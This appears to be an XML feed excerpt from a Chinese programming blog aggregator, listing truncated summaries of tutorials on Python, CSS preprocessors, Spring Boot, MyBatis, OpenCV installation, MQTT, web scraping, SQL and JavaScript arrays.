      <description>1&#xA;在Python中，要知道一个字符串有多少个字符（以获得字符串的长度），或者一个字符串需要多少字节，可以使用len函数。len函数的基本语法格式如下：&#xA;2&#xA;其中string用于指定要计算长度的字符串。例如，定义一个内容字符串“http://c.biancheng.net“然后使用len（）函数计算字符串的长度。执行代码如下：&#xA;3&#xA;在实际开发中，除了获取字符串的长度外，有时还需要获取字符串的字节数。在Python中，不同的字符占用不同的字节数。数字、英文字母、小数点、下划线和空格各占一个字节。一个汉字可以占用2-4个字节。具体数字取决于所采用的编码方法。例如，汉字在GBK/GB2312编码中占2个字节，在UTF-8编码中占3个字节。以UTF-8编码为例，字符串“life is short，I use Python”占用的字节数如图所示。&#xA;4&#xA;我们可以使用encode（）方法对字符串进行编码，然后获取其字节号。例如，使用UTF-8编码方式计算“生命短暂，我使用Python”的字节数，可以执行以下代码：&#xA;5&#xA;因为有7个汉字加上中文标点符号，占21个字节，而英文字母和英文标点符号占6个字节，共占27个字节。同样，如果要获取GBK编码字符串的长度，可以执行以下代码：&#xA;END</description>
    </item>
    <item>
      <title>less 函数_CSS扩展语言sass和less应该选哪个？</title>
      <link>https://bchobby.github.io/posts/8621977b77e0f83c957eb53673e5c3df/</link>
      <pubDate>Sun, 22 Nov 2020 19:48:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8621977b77e0f83c957eb53673e5c3df/</guid>
      <description>sass和less地出现大大的提升了代码的复用性，按常理来说它们也是css，被称为CSS扩展语言(简称强化版的css)，理论来说sass也需要编译成为css才能在浏览器上面运行的。那么为什么会出现sass和less呢？开发者应该选择哪一个预处理语言来开发呢？&#xA;编译语言让开发变得更加高效&#xA;众所周知，css的诞生就是为了作为网站的样式所用(你可以试试把一些网站的css去掉，就能看到网站的用户体验感基本为0)，其实原理都差不多，saas和less无非就是在css上面加入了变量等，它能让你的前端开发工作更加的轻松。&#xA;为什么要选择saas和less预处理语言？&#xA;css面临的下面的几个问题：&#xA;语法不够强大，比如无法嵌套书写，导致模块化开发中需要书写很多重复的选择器； 没有变量和合理的样式复用机制，使得逻辑上相关的属性值必须以字面量的形式重复输出，导致难以维护。 saas和less之间的区别&#xA;一：编译方式不同：less和sass都是css的拓展语言，最主要的区别是less是通过Javascript编译，而sass是通过ruby编译的，如果没有引入前端工程化，less会消耗客户端性能，sass会消耗服务端性能，但是引入前端工程化的话，gunt，gulp，webpack等，less和sass在打包阶段都会转化成css，所以不会有区别，只是sass是基于ruby，所以每次npm的时候相对慢一点点。&#xA;二：定义变量时候不同：less的定义变量是用@，而sass则用跟php一样的定义方式$。&#xA;三：混合模式的不同：Less中使用混合时，只需在classB中根据classA的命名来是用；Sass中首先在定义混合时需要使用@mixin命令，其次在调用时需要使用@include命令来引入之前定义的混合。&#xA;四：语法使用上的不同：比如变量的作用域等。&#xA;新手建议用less，有经验的程序员用saas开发&#xA;Sass有很多可用的方法和逻辑。例如：条件和循环语句。LESS也可以做到，但不是很高效且不直观。像LESS一样，Sass也内置了一些非常友好的函数，像颜色，数字，还有变量列表。&#xA;Sass用户可以使用功能强大的Compass库。这些库LESS用户也可以用，但并不完全一样，因为这是由一个庞大的社区来共同维护的。Compass有非常强大的特性，像自动生成图片切片(CSS Sprites)，传统浏览器支持，还有对CSS3的跨浏览器支持等。&#xA;Compass同样允许你使用外部框架像Blueprint, Foundation 或 Bootstrap。这也意味着你可以非常容易地使用你喜欢的框架而不需要掌握各种不同的工具。&#xA;预处理语言也不是万能的，因为css是直接写完可以在浏览器可以解析的，但是例如saas就需要编译完之后才能运行的，如果并非大型的网站项目开发的话，我觉得没必要用saas等预处理语言。</description>
    </item>
    <item>
      <title>mybatis plus 事务管理器_SpringBoot第七篇：springboot开启声明式事务</title>
      <link>https://bchobby.github.io/posts/18cb6f24b079b28fa0e92c10fcff62fd/</link>
      <pubDate>Sun, 22 Nov 2020 11:56:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18cb6f24b079b28fa0e92c10fcff62fd/</guid>
      <description>springboot开启事务很简单，只需要一个注解@Transactional 就可以了。因为在springboot中已经默认对jpa、jdbc、mybatis开启了事事务，引入它们依赖的时候，事物就默认开启。当然，如果你需要用其他的orm，比如beatlsql，就需要自己配置相关的事物管理器。&#xA;准备阶段&#xA;以上一篇文章的代码为例子，即springboot整合mybatis，上一篇文章是基于注解来实现mybatis的数据访问层，这篇文章基于xml的来实现，并开启声明式事务。&#xA;环境依赖&#xA;在pom文件中引入mybatis启动依赖：&#xA;org.mybatis.spring.boot mybatis-spring-boot-starter 1.3.0 引入mysql 依赖&#xA;初始化数据库脚本&#xA;配置数据源&#xA;通过配置mybatis.mapper-locations来指明mapper的xml文件存放位置，我是放在resources/mybatis文件下的。mybatis.type-aliases-package来指明和数据库映射的实体的所在包。&#xA;经过以上步骤，springboot就可以通过mybatis访问数据库来。&#xA;创建实体类&#xA;数据访问dao 层&#xA;接口：&#xA;public interface AccountMapper2 { int update( @Param(&#34;money&#34;) double money, @Param(&#34;id&#34;) int id);} mapper:&#xA;service层&#xA;@Transactional，声明事务，并设计一个转账方法，用户1减10块，用户2加10块。在用户1减10 ，之后，抛出异常，即用户2加10块钱不能执行，当加注解@Transactional之后，两个人的钱都没有增减。当不加@Transactional，用户1减了10，用户2没有增加，即没有操作用户2 的数据。可见@Transactional注解开启了事物。&#xA;结语&#xA;springboot 开启事物很简单，只需要加一行注解就可以了，前提你用的是jdbctemplate, jpa, mybatis，这种常见的orm。</description>
    </item>
    <item>
      <title>mysql使用变量填值为数组_C语言变长数组：使用变量指明数组的长度</title>
      <link>https://bchobby.github.io/posts/543235be0e80f32476d43e8560afd757/</link>
      <pubDate>Sun, 22 Nov 2020 06:06:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/543235be0e80f32476d43e8560afd757/</guid>
      <description>在《 C语言的三套标准：C89、C99和C11 》一节中我们讲到，目前经常使用的C语言有三个版本，分别是 C89、C99 和 C11。C89(也称 ANSI C)是较早的版本，也是最经典的版本，国内大学几乎都是以该版本为基础进行授课。C99 和 C11 是后来对 C89 的升级，增添了一些新内容(不多)，语法更加灵活了，同时兼容 C89。各种编译器都能很好地支持 C89 标准，但对 C99 的支持却不同：开源组织的 GCC 和 Xcode 使用的 LLVM/Clang 已经支持了大部分(几乎全部)的 C99 标准，而微软的 VC、VS 对 C99 却不感兴趣，直到后来的 VS2013、VS2015、VS2017 才慢慢支持，而且支持得还不好。为什么要讨论这个问题呢？因为 C89 和 C99 对数组做出了不同的规定： 在 C89 中，必须使用常量表达式指明数组长度；也就是说，数组长度中不能包含变量，不管该变量有没有初始化。而在 C99 中，可以使用变量指明数组长度。 下面的代码使用常量表达式指明数组长度，在任何编译器下都能编译通过： int a[10]; //长度为10int b[3*5]; //长度为15int c[4+8]; //长度为12 下面的代码使用变量指明数组长度，在 GCC 和 Xcode 下能够编译通过，而在 VC 和 VS(包括 VC 6.0、VS2010、VS2013、VS2015、VS2017 等)下都会报错： int m = 10, n;scanf(&#34;%d&#34;, &amp;amp;n);int a[m], b[n]; 在实际编程中，有时数组的长度不能提前确定，如果这个变化范围小，那么使用常量表达式定义一个足够大的数组就可以，如果这个变化范围很大，就可能会浪费内存，这时就可以使用变长数组。请看下面的代码： #include int main(){ int n; printf(&#34;</description>
    </item>
    <item>
      <title>linux 安装opencv_在Linux下用正确的姿势安装OpenCV</title>
      <link>https://bchobby.github.io/posts/2acf53a7cf5d1112fc5e0b80f1be03c0/</link>
      <pubDate>Sun, 22 Nov 2020 00:52:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2acf53a7cf5d1112fc5e0b80f1be03c0/</guid>
      <description>时隔多年，居然又要在Linux下编译OpenCV，然而这次居然折腾了一晚上，没想到会出现那么多问题。索性写个文章记录一下，防止下一次又碰壁。&#xA;我是在虚拟机上跑的ubuntu18.04。&#xA;配置如下： 第一步 ：下载依赖文件，这一步非常重要，如果是缺少某个依赖文件，编译过程也不会出错，但是在使用opencv函数的时候就是提示错误，只能删了重新编译，非常的坑。 所以一定要先下载依赖文件。 所以一定要先下载依赖文件。 所以一定要先下载依赖文件。 通过以下命令来安装依赖文件。&#xA;sudo apt-get install build-essential sudo apt-get install cmake git libgtk2.0-dev pkg-config libavcodec-dev libavformat-dev libswscale-dev sudo apt-get install python-dev python-numpy libtbb2 libtbb-dev libjpeg-dev libpng-dev libtiff-dev libjasper-dev libdc1394-22-dev sudo apt-get install libavcodec-dev libavformat-dev libswscale-dev libv4l-dev liblapacke-dev sudo apt-get install libxvidcore-dev libx264-dev sudo apt-get install libatlas-base-dev gfortran sudo apt-get install ffmpeg 第二步：从GitHub下载opencv和opencv_contrib源码，如果你是刚刚安装Linux，那么最好就是修改源，不然下载会非常非常慢。具体操作请移步百度： 如何修改Linux源。 我这里用的都是4.2.0的版本。&#xA;OpenCV和contirb的源码下载路径：&#xA;https://github.com/opencv/opencv/releases​github.com https://github.com/opencv/opencv_contrib/releases​github.com 然而在下载过程中可能会出现下载不完全的情况（起码我是这样的），往往出现的问题是缺少boostdesc_bgm.i等问题。所以我们需要提前下载好这些文件，以防不时之需。文件我已经集合在了我的GitHub里面。 GitHub地址（欢迎大佬给小星星）：&#xA;https://github.com/omega-Lee/OpenCV-boostdesc-vgg-​github.com 下载完以后应该是这样子的：&#xA;第三步：通过命令解压opencv和opencv_contirb： tar -zxvf opencv-4.</description>
    </item>
    <item>
      <title>MiKTeX安装</title>
      <link>https://bchobby.github.io/posts/f82706251db4a06d72625b456d453c9a/</link>
      <pubDate>Sat, 21 Nov 2020 18:43:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f82706251db4a06d72625b456d453c9a/</guid>
      <description>LaTex安装 已经使用一段时间texlive2020了，结果小伙伴增加了一个longtable之后编译器死活不通过，也找不到原因（现在中文版的问题解答实在是太少了），愤怒之下就把它给卸载了。安装了MiKTeX+WinEdt10。安装过程真的是一波三折，反复安装卸载了三四次才成功。&#xA;第一步 这里推荐大家在官网下载并安装：&#xA;MiKTex:&#xA;https://miktex.org/download&#xA;WinEdt:&#xA;http://www.winedt.com/download.html&#xA;可以把这两个.exe文件包括后面安装过程中产生的文件放在同一个文件夹里。&#xA;我看到有个博主说要添加路径，好像自动就添加了，不用管。&#xA;第二步 推荐官网下载的原因就是我从其他地方下载后，不会自动提示安装包，导致我使用时不停提示我少了.sty文件。&#xA;随便找一个代码运行一下&#xA;\documentclass{article} \begin{document} Hello, world! \end{document} 正常情况下应该是编译直接可以通过的。&#xA;上面两个步骤完成后我还遇到MiKTeX Console没有更新的问题，搜索后都说要从开始那打开MiKTeX Console然后更新，我每次打开MiKTeX Console都弹出它在运行，根本打不开，任务管理器上又没有显示，就很迷惑。&#xA;于是我又反复卸载了这两个程序之后再安装，终于可以编译成功了。&#xA;现在安装好像更简便了，下载安装包直接无脑点击下一步什么的即可。&#xA;SumatraPDF安装 如果想更方便使用可以安装 SumatraPDF阅读器，甩个链接&#xA;https://www.sumatrapdfreader.org/free-pdf-reader&#xA;安装完成后需要和winedt建立连接,点击Options&#xA;选择第二个Execution Modes，修改成SumatraPDF的路径即可。&#xA;latex使用问题 1： 问题：Undefined control sequence. \lstset&#xA;解决办法：最近使用另一台电脑，重新安装miktex，出现上述问题，是版本不一致造成的。最新版本是basic-miktex-21.2-x64，报错。之前版本是basic-miktex-20.11-x64，可用。&#xA;我发现把安装过程写出来之后下次安装就很方便了哈哈哈</description>
    </item>
    <item>
      <title>MyBatis配置介绍</title>
      <link>https://bchobby.github.io/posts/8a647c02e71fd2a1b6bd1dbd6f47d7bf/</link>
      <pubDate>Sat, 21 Nov 2020 17:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a647c02e71fd2a1b6bd1dbd6f47d7bf/</guid>
      <description>一、MyBatis依赖和约束 1.1 MyBatis依赖 要使用 MyBatis,只需将mybatis-x.x.x.jar jar包引入即可,或者使用Maven来构建项目 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; //版本号根据实际情况自己定义 1.2 Mybatis XML约束文件 &amp;lt;!-- config约束 --&amp;gt; &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE configuration PUBLIC &#34;-//mybatis.org//DTD Config 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-config.dtd&#34;&amp;gt; &amp;lt;!-- Mapper约束 --&amp;gt; &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE mapper PUBLIC &#34;-//mybatis.org//DTD Mapper 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-mapper.dtd&#34;&amp;gt; 约束文件附件：📎mybatis-3-mapper.dtd📎mybatis-3-config.dtd 二、MyBatis的主配置文件 2.1 环境的配置 MyBatis 可以配置多种环境，例如，开发、测试和生产环境需要有不同的配置；或者想在具有相同 Schema 的多个生产数据库中使用相同的 SQL 映射。尽管可以配置多个环境，但每个 SqlSessionFactory 实例只能选择一种环境。如果你想连接多个数据库，就需要创建多个 SqlSessionFactory 实例，每个数据库对应一个。&#xA;每个数据库对应一个 SqlSessionFactory 实例 为了指定创建哪种环境，只要将它作为可选的参数传递给 SqlSessionFactoryBuilder 即可。如果忽略了环境参数，那么默认环境将会被加载。默认的环境和环境 ID 是自解释的，你可以对环境随意命名，但一定要保证默认的环境 ID 要匹配其中一个环境 ID。可以接受环境配置的两个方法签名是：&#xA;SqlSessionFactory factory = new SqlSessionFactoryBuilder().</description>
    </item>
    <item>
      <title>c&#43;&#43; mqtt客户端_MQTT详解及百度物接入连接手机测试(含源码)  秦子帅</title>
      <link>https://bchobby.github.io/posts/4b5c915e9f469dbe15b8ca729f0b48a3/</link>
      <pubDate>Sat, 21 Nov 2020 17:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b5c915e9f469dbe15b8ca729f0b48a3/</guid>
      <description>MQTT简介&#xA;MQTT定义&#xA;MQTT(Message Queuing Telemetry Transport，消息队列遥测传输)是IBM开发的一个即时通讯协议，有可能成为物联网的重要组成部分。该协议支持所有平台，几乎可以把所有联网物品和外部连接起来，被用来当做传感器和制动器(比如通过Twitter让房屋联网)的通信协议。&#xA;MQTT特点&#xA;MQTT协议是为大量计算能力有限，且工作在低带宽、不可靠的网络的远程传感器和控制设备通讯而设计的协议，它具有以下主要的几项特性：&#xA;1.使用发布/订阅消息模式，提供一对多的消息发布，解除应用程序耦合；&#xA;2.对负载内容屏蔽的消息传输；&#xA;3.使用 TCP/IP 提供网络连接；&#xA;4.有三种消息发布服务质量：&#xA;“至多一次”，消息发布完全依赖底层 TCP/IP 网络。会发生消息丢失或重复。这一级别可用于如下情况，环境传感器数据，丢失一次读记录无所谓，因为不久后还会有第二次发送。“至少一次”，确保消息到达，但消息重复可能会发生。“只有一次”，确保消息到达一次。这一级别可用于如下情况，在计费系统中，消息重复或丢失会导致不正确的结果。 5.小型传输，开销很小(固定长度的头部是 2 字节)，协议交换最小化，以降低网络流量；&#xA;6.使用 Last Will 和 Testament 特性通知有关各方客户端异常中断的机制；&#xA;MQTT特征原理&#xA;image&#xA;实现MQTT协议需要:客户端和服务器端&#xA;MQTT协议有三种身份：发布者(Pushlish)、代理(Broker)、订阅者(Subscribe)&#xA;MQTT的消息分为：主题(Topic)和负载(payload)两部分&#xA;Topic,可以理解为消息的类型，订阅者Subscribe之后，就会收到该主题的消息内容(payload)。&#xA;payload，可以理解为消息的内容，是指订阅者具体的使用内容&#xA;消息类型：&#xA;CONNECT：客户端连接到MQTT代理CONNACK：连接确认PUBLISH：新发布消息PUBACK：新发布消息确认，是QoS 1给PUBLISH消息的回复PUBREC：QoS 2消息流的第一部分，表示消息发布已记录PUBREL：QoS 2消息流的第二部分，表示消息发布已释放PUBCOMP：QoS 2消息流的第三部分，表示消息发布完成SUBSCRIBE：客户端订阅某个主题SUBACK：对于SUBSCRIBE消息的确认UNSUBSCRIBE：客户端终止订阅的消息UNSUBACK：对于UNSUBSCRIBE消息的确认PINGREQ：心跳PINGRESP：确认心跳DISCONNECT：客户端终止连接前优雅地通知MQTT代理 MQTT应用&#xA;通过MQTT协议，目前已经扩展出了数十个MQTT服务器端程序，可以通过PHP，JAVA，Python，C，C#等系统语言来向MQTT发送相关消息。&#xA;此外，国内很多企业都广泛使用MQTT作为Android手机客户端与服务器端推送消息的协议。其中Sohu，Cmstop手机客户端中均有使用到MQTT作为消息推送消息。据Cmstop主要负责消息推送的高级研发工程师李文凯称，随着移动互联网的发展，MQTT由于开放源代码，耗电量小等特点，将会在移动消息推送领域会有更多的贡献，在物联网领域，传感器与服务器的通信，信息的收集，MQTT都可以作为考虑的方案之一。在未来MQTT会进入到我们生活的各各方面。&#xA;百度物接入loT及MQTT测试&#xA;配置&#xA;1.注册百度云账号，打开物接入界面:&#xA;image&#xA;2.在管理控制平台创建:&#xA;image&#xA;image&#xA;3.点击刚才创建的实例名称，并创建设备:&#xA;image&#xA;image&#xA;4.填写身份、策略、主题等信息&#xA;需要注意的是Topic和生成的密钥一定要记住，如果密钥丢了的话只能去重置密钥了。&#xA;image&#xA;image&#xA;基本配置就是这些了。&#xA;MQTT连接测试&#xA;1.点击连接测试:&#xA;image&#xA;2.填写刚才生成密钥，以及用户名称，然后点击Connect&#xA;image&#xA;3.连接之后开始测试，填写一下你刚才设置的主题，比如我设置的主题是qzsservice，步骤如下:&#xA;image&#xA;image&#xA;image&#xA;发送后底下就会显示Messages信息了，说明测试成功！&#xA;百度物接入服务器与手机连接测试&#xA;上面我们已经讲完了百度物接入怎么创建实例+连接测试了，下面讲一下连接测试发送消息怎么与手机程序相连。也就是服务器发送一条消息，手机程序接收。：</description>
    </item>
    <item>
      <title>VS2019 安装完成之后再安装其它功能模块组件安装</title>
      <link>https://bchobby.github.io/posts/42b3cc7f824c8c96a44e2af8466cf47b/</link>
      <pubDate>Sat, 21 Nov 2020 16:13:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42b3cc7f824c8c96a44e2af8466cf47b/</guid>
      <description>VisualStudio2019安装完成之后，如果后续还有继续安装其他模块或组件时，可以通过以下步骤添加。&#xA;点击工具，选择获取工具和功能，进行选择安装。&#xA;然后在选择自己要安装的模块。</description>
    </item>
    <item>
      <title>python爬虫爬取豆瓣电影评分排行榜前n名的前n页影评</title>
      <link>https://bchobby.github.io/posts/d4d0ee04889b3198c569eab41cec51ca/</link>
      <pubDate>Sat, 21 Nov 2020 15:58:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4d0ee04889b3198c569eab41cec51ca/</guid>
      <description>目标网站 https://movie.douban.com/explore#!type=movie&amp;amp;tag=%E8%B1%86%E7%93%A3%E9%AB%98%E5%88%86&amp;amp;sort=rank&amp;amp;page_limit=20&amp;amp;page_start=0&#xA;（豆瓣电影——选电影——豆瓣高分——按评价排序）&#xA;爬虫基本思路 1.首先发送请求并返回requests（最好模拟谷歌浏览器的头部访问（即下面的headers），并且设置一个每次访问的间隔时间，这样就不容易触发网站的反爬机制（说白了就是模拟人类的访问行为））&#xA;2.获得requests对象后使用BeautifulSoup (美丽的汤？？也不知道为啥要起这个名)来解析requests对象，注意这里要用request.text，就取文本，解析后的soup打印出来其实就是整个html的字符串内容，但是类型并不是string，应该是bs4类型，这就是这个美丽的汤的魅力所在，它可以直接在python用类似于ccs选择器那样的方式一层一层的寻找我们要的div内容。&#xA;3.搜寻soup对象中我们需要的内容，就是一层一层div找到对应的属性，然后拿取我们需要的内容。（看html或者把之前的soup对象打印出来）&#xA;4.打印或保存文件&#xA;在分析过网页之后发现传统的从html中拿前三部电影不太方便，对于json更建议从xhr中的preview获取，这样一看就一目了然了。&#xA;至于如何获取xhr中preview的内容，可以用如下方式：&#xA;首先看header里的url：&#xA;res = requests.get(url, headers=headers,timeout=20) （假设这里我们已经获得了request对象）&#xA;首先把res转化为json对象：&#xA;js = res.json() #这样才能用键值对的方式访问到我们要的名称和url&#xA;全部代码： import requests from bs4 import BeautifulSoup import json headers = {&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36&#39;} #从xhr中获取链接 url = &#39;https://movie.douban.com/j/search_subjects?type=movie&amp;amp;tag=%E8%B1%86%E7%93%A3%E9%AB%98%E5%88%86&amp;amp;sort=rank&amp;amp;page_limit=20&amp;amp;page_start=0&#39; res = requests.get(url, headers=headers,timeout=20) #print(res.status_code) js = res.json() #转化成json才能用键值对访问 response对象不能 def topCinema(num): #获取评分排名前n部电影的名称和链接 top_info = js[&#39;subjects&#39;][:num] top_cinema = {} for i in range(num): top_cinema[top_info[i][&#39;title&#39;]] = top_info[i][&#39;url&#39;] return top_cinema #print(topCinema(4)) def getComment(movieUrl,pageNum): #爬取某个电影的第i页影评 start = (pageNum-1) * 20 headers = {&#39;User-Agent&#39;: &#39;Mozilla/5.</description>
    </item>
    <item>
      <title>vue高德地图异步加载</title>
      <link>https://bchobby.github.io/posts/5c471729f2e9df3244ddfa54f02abeb7/</link>
      <pubDate>Sat, 21 Nov 2020 10:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c471729f2e9df3244ddfa54f02abeb7/</guid>
      <description>/**map.js*/ //引入地图 export function MapLoader() { const mp = new Promise(function (resolve, reject) { if (window.AMap) { resolve(window.AMap) } else { var url = &#39;https://webapi.amap.com/maps?v=1.4.15&amp;amp;key=youkey&amp;amp;callback=onLoad&amp;amp;plugin=AMap.DistrictSearch&#39; var script = document.createElement(&#39;script&#39;) script.src = url script.id = &#34;amap&#34;; script.onerror = reject document.head.appendChild(script) } window.onLoad = () =&amp;gt; { resolve(window.AMap) } }); //引入地图UI库 const mpUI = new Promise(function (resolve, reject) { if (window.AMapUI) { resolve(window.AMapUI) } else { var url = &#39;https://webapi.amap.com/ui/1.0/main.js&#39; var script = document.</description>
    </item>
    <item>
      <title>获取date等于某一天的第一个id sql_leetcode(sql)之经典困难题合集</title>
      <link>https://bchobby.github.io/posts/49211eb13ce8084f1456b33b5d7705c2/</link>
      <pubDate>Sat, 21 Nov 2020 09:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49211eb13ce8084f1456b33b5d7705c2/</guid>
      <description>1.市场分析---用户行为,定义第二次 Users table: +---------+------------+----------------+ | user_id | join_date | favorite_brand | +---------+------------+----------------+ | 1 | 2019-01-01 | Lenovo | | 2 | 2019-02-09 | Samsung | | 3 | 2019-01-19 | LG | | 4 | 2019-05-21 | HP | +---------+------------+----------------+ Orders table: +----------+------------+---------+----------+-----------+ | order_id | order_date | item_id | buyer_id | seller_id | +----------+------------+---------+----------+-----------+ | 1 | 2019-08-01 | 4 | 1 | 2 | | 2 | 2019-08-02 | 2 | 1 | 3 | | 3 | 2019-08-03 | 3 | 2 | 3 | | 4 | 2019-08-04 | 1 | 4 | 2 | | 5 | 2019-08-04 | 1 | 3 | 4 | | 6 | 2019-08-05 | 2 | 2 | 4 | +----------+------------+---------+----------+-----------+ Items table: +---------+------------+ | item_id | item_brand | +---------+------------+ | 1 | Samsung | | 2 | Lenovo | | 3 | LG | | 4 | HP | +---------+------------+ 写一个 SQL 查询确定每一个用户按日期顺序卖出的第二件商品的品牌是否是他们最喜爱的品牌。如果一个用户卖出少于两件商品，查询的结果是 no 。题目保证没有一个用户在一天中卖出超过一件商品</description>
    </item>
    <item>
      <title>convert 日期格式_Springboot 关于日期时间格式化处理方式总结</title>
      <link>https://bchobby.github.io/posts/7e728fb01a91f0a9cf1c331e6bb172cf/</link>
      <pubDate>Sat, 21 Nov 2020 04:19:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e728fb01a91f0a9cf1c331e6bb172cf/</guid>
      <description>项目中使用LocalDateTime系列作为DTO中时间的数据类型，但是SpringMVC收到参数后总报错，为了配置全局时间类型转换，尝试了如下处理方式。注：本文基于Springboot2.x测试，如果无法生效可能是spring版本较低导致的。PS：如果你的Controller中的LocalDate类型的参数啥注解(RequestParam、PathVariable等)都没加，也是会出错的，因为默认情况下，解析这种参数是使用ModelAttributeMethodProcessor进行处理，而这个处理器要通过反射实例化一个对象出来，然后再对对象中的各个参数进行convert，但是LocalDate类没有构造函数，无法反射实例化因此会报错！！！&#xA;完成目标 请求入参为 String(指定格式)转 Date，支持get、post(content-type=application/json)返回数据为Date类型转为指定的日期时间格式字符串支持Java8 日期 API，如：LocalTime、localDate 和 LocalDateTime GET请求及POST表单日期时间字符串格式转换 这种情况要和时间作为Json字符串时区别对待，因为前端json转后端pojo底层使用的是Json序列化Jackson工具(HttpMessgeConverter)；而时间字符串作为普通请求参数传入时，转换用的是Converter，两者在处理方式上是有区别。&#xA;使用自定义参数转换器(Converter) 实现 org.springframework.core.convert.converter.Converter，自定义参数转换器，如下：&#xA;@Configurationpublic class DateConverterConfig { @Bean public Converter localDateConverter() { return new Converter() { @Override public LocalDate convert(String source) { return LocalDate.parse(source, DateTimeFormatter.ofPattern(&#34;yyyy-MM-dd&#34;)); } }; } @Bean public Converter localDateTimeConverter() { return new Converter() { @Override public LocalDateTime convert(String source) { return LocalDateTime.parse(source, DateTimeFormatter.ofPattern(&#34;yyyy-MM-dd HH:mm:ss&#34;)); } }; }} 点评：以上两个bean会注入到spring mvc的参数解析器(好像叫做ParameterConversionService)，当传入的字符串要转为LocalDateTime类时，spring会调用该Converter对这个入参进行转换。&#xA;注意：关于自定义的参数转换器 Converter，这里我遇到了一个坑，我在这里详细记录下，本来我的想法是为了代码精简，将上面匿名内部类的写法精简成lambda表达式的方式：&#xA;@Bean@ConditionalOnBean(name = &#34;requestMappingHandlerAdapter&#34;)public Converter localDateConverter() { return source -&amp;gt; LocalDate.</description>
    </item>
    <item>
      <title>python iloc函数_pandas入门——loc与iloc函数</title>
      <link>https://bchobby.github.io/posts/7a0b22b87861cfa5b8fbb6454abe0143/</link>
      <pubDate>Sat, 21 Nov 2020 01:16:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a0b22b87861cfa5b8fbb6454abe0143/</guid>
      <description>oc与iloc函数&#xA;loc函数&#xA;import pandas as pd&#xA;import numpy&#xA;# 导入数据&#xA;df = pd.read_csv(filepath_or_buffer=&#34;D://movie.csv&#34;)&#xA;df_new = df.set_index([&#34;country&#34;])&#xA;df_new.loc[list([&#34;Canada&#34;])] # 1&#xA;df_new.loc[df_new[&#34;duration&#34;]&amp;gt;160] # 2&#xA;df_new.loc[((df_new[&#34;duration&#34;] &amp;gt; 200) &amp;amp; (df_new[&#34;director_facebook_likes&#34;] &amp;gt; 300 )),&#34;flage&#34;] =1 # 3&#xA;df_new.loc[df_new[&#34;duration&#34;].isin([100])] # 4&#xA;df_new.query(&#34;duration &amp;gt; 100 &amp;amp; index == &#39;UK&#39;&#34;) # 5&#xA;1：根据列中的元素，选取对应元素的数据集&#xA;2：根据元素的选取条件来选取对应的数据集&#xA;3：根据元素的选取条件来来选取对应的数据集，并在符合条件的数据行添加flage标签&#xA;4：isin函数是series用来判断值是否在目标值是否在series&#xA;5：query函数中用来判断条件符合的数据集并返回&#xA;iloc函数&#xA;df_new.iloc[0:4]&#xA;iloc比较简单，它是基于索引位来选取数据集，0:4就是选取 0，1，2，3这四行，需要注意的是这里是前闭后开集合&#xA;使用标签选取数据：&#xA;df.loc[行标签,列标签]&#xA;df.loc[&#39;a&#39;:&#39;b&#39;]#选取ab两行数据&#xA;df.loc[:,&#39;one&#39;]#选取one列的数据&#xA;df.loc的第一个参数是行标签，第二个参数为列标签（可选参数，默认为所有列标签），两个参数既可以是列表也可以是单个字符，如果两个参数都为列表则返回的是DataFrame，否则，则为Series。</description>
    </item>
    <item>
      <title>es6删除数组某一项_Javascript数组的方法你真的都知道吗？</title>
      <link>https://bchobby.github.io/posts/0199f43e718926da2e7a30e2ef27c05b/</link>
      <pubDate>Fri, 20 Nov 2020 19:53:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0199f43e718926da2e7a30e2ef27c05b/</guid>
      <description>本篇文章主要讲述ES5中的数组，包括数组两种创建方式，属性，以及 9 大类 ，总共23个操作方法，非常全面，看完之后ES5数组这一部分基本都了解了，下一篇文章，我会讲述ES6中对数组的加成，新增了哪些方法，以及定型数组，类数组和类数组的所有方法，记得关注哦！&#xA;数组作为javascript中最常用的数据类型之一，掌握好数组的方法在日常的开发中是非常有必要的，javascript中的数组相比其他语言来说更灵活，因为数组的每一项都可以是不同的数据类型，可以是对象，数组，字符串，数值等等，接下来一点一点的了解吧！&#xA;1.数组的创建 说到数组首先肯定是创建，只有创建或者声明一个变量是数组之后才可以使用它，以及他的一些属性和方法。数组的创建有两种方式，即，构造函数式和数组字面量式。&#xA;第一种构造函数式创建，利用new Array来创建，下面先上一段例子：&#xA;1 分析一下，第一行创建了一个空数组；第二行创建了一个长度为3的空数组，注意这个3是数组的长度为3，不是数组的第一项是数值3，切记！在下一篇讲到的类数组方法Array.of()方法就可以创建数值3；第三个是创建了一个字符串数组，里面只有一个值；第四行，第五行都目前chrome浏览器无法编译通过，写法有问题，特意列出来注意一下。 在使用Array 的时候new也可以省略，其效果也是一样的。&#xA;第二种是数组字面量创建数组，即直接用[]。&#xA;1 